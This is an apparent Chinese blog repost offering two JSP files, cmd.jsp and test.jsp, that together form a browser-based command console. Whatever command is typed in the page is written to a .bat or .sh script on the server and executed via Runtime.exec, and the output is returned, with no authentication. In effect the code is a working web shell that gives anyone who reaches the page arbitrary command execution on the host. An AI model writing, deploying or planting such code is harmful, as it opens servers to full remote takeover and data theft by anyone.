jsp命令行页面-执行shell
来源:互联网 发布:python reduce 函数 编辑:程序博客网 时间:2024/06/14 03:31
下载地址:http://download.csdn.net/detail/yx511500623/6855599
看效果截图:
jsp文件如下:
放在同一目录下,需要导入jquery,jquery版本最低1.7:
cmd.jsp
<%@ page contentType="text/html; charset=utf-8" language="java" import="java.io.BufferedReader,java.io.File,java.io.FileOutputStream,java.io.InputStreamReader;"%><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title>jsp命令行页面</title><style>textarea{background-color: #000;color:red;width:100%;}</style></head><body>请输入命令:<br/><textarea rows="30" cols="100" id="cmd" ></textarea><br/></body></html><script type="text/javascript" src="jquery-1.7.2.min.js"></script><script type="text/javascript">$(function(){$("#cmd").keydown(function(event){if(event.keyCode==13){var cmd=getStrByLastLine();//处理空格log("开始执行:"+cmd);//执行结果$.get("test.jsp",{'cmd':""+cmd+""},function(data){ data.replace("\n",""); log("执行结果: " + data); $("#cmd").val($("#cmd").val()+data); //滚到最下方 $("#cmd")[0].scrollTop = $("#cmd")[0].scrollHeight;});}});});function log(msg){if(!msg) return;if(!console) return;console.log(msg);}//获取textarea最后一行function getStrByLastLine(){var str=document.getElementById("cmd").value,arr;//获取文本域内容 if(document.all){ // 如果是IE arr=str.split("\n"); }else{ // firfox arr=str.split("\n"); }log(arr.length);if(arr.length<1) return "";for(var i=arr.length-1;i>0;i--){if(arr[i]!=""&&arr[i]!=" ") return arr[i];}return arr[arr.length-1];}</script>
test.jsp
<%@ page contentType="text/html; charset=utf-8" language="java" import="java.io.BufferedReader,java.io.File,java.io.FileOutputStream,java.io.InputStreamReader;"%><%! private String execCMD(String cmd){if(cmd==null||cmd=="") return "";String fileName="xxxxx.bat";if(!System.getProperties().getProperty("os.name").toLowerCase().startsWith("win"))fileName="xxxxx.sh";//写入文件try {File f=new File(fileName);if(!f.exists()) f.createNewFile();FileOutputStream osOutputStream;osOutputStream = new FileOutputStream(f);if(!"xxxxx.bat".equals(fileName)) osOutputStream.write("#!/bin/sh\n".getBytes());osOutputStream.write(cmd.getBytes());osOutputStream.close();} catch (Exception e) {e.printStackTrace();return e.getMessage();}//执行命令StringBuilder sb=new StringBuilder();BufferedReader br = null;Process p =null;try {p = Runtime.getRuntime().exec(fileName);br = new BufferedReader(new InputStreamReader(p.getInputStream()));String line = null;while ((line = br.readLine()) != null) {sb.append(line+"\n");}} catch (Exception e) {e.printStackTrace();return e.getMessage();} finally {if (br != null) {try {br.close();p.destroy();} catch (Exception e) {e.printStackTrace();}}}return sb.toString();}%><%String cmd=request.getParameter("cmd");if(cmd!=""||cmd!=null){response.getWriter().write(execCMD(cmd));}%>
0 0
- jsp命令行页面-执行shell
- shell命令行中执行SQL
- jsp页面的执行流程
- JSP页面的执行过程
- JSP页面的执行过程
- JSP页面的执行过程
- mysql命令行模式下执行shell命令
- Linux命令行,循环执行shell命令
- shell命令行环境中shell脚本执行的方式
- shell命令行环境中shell脚本执行的方式
- shell命令行环境中shell脚本执行的方式
- php页面远程执行shell脚本
- jsp页面中的代码执行加载顺序
- jsp页面中的代码执行加载顺序
- 控制jsp页面某一部分内容循环执行
- jsp页面加载时自动执行action
- jsp页面中的代码加载执行顺序
- jsp页面中代码的执行顺序
- thoughtworks面试总结
- Android OTA 升级之二:脚本 ota_from_target_files
- C++虚函数的深入理解
- java读取(正则表达式分析)网页内容
- 字符设备驱动1
- jsp命令行页面-执行shell
- grep 命令
- Android OTA 升级之三:生成recovery.img
- Unsigned int 能存储负数?
- 网站建设运营常见的三个误区解读
- Mysql
- Eclipse10个最有用的快捷键
- 使用mysql-proxy 快速实现mysql 集群 读写分离
- Cloud Computing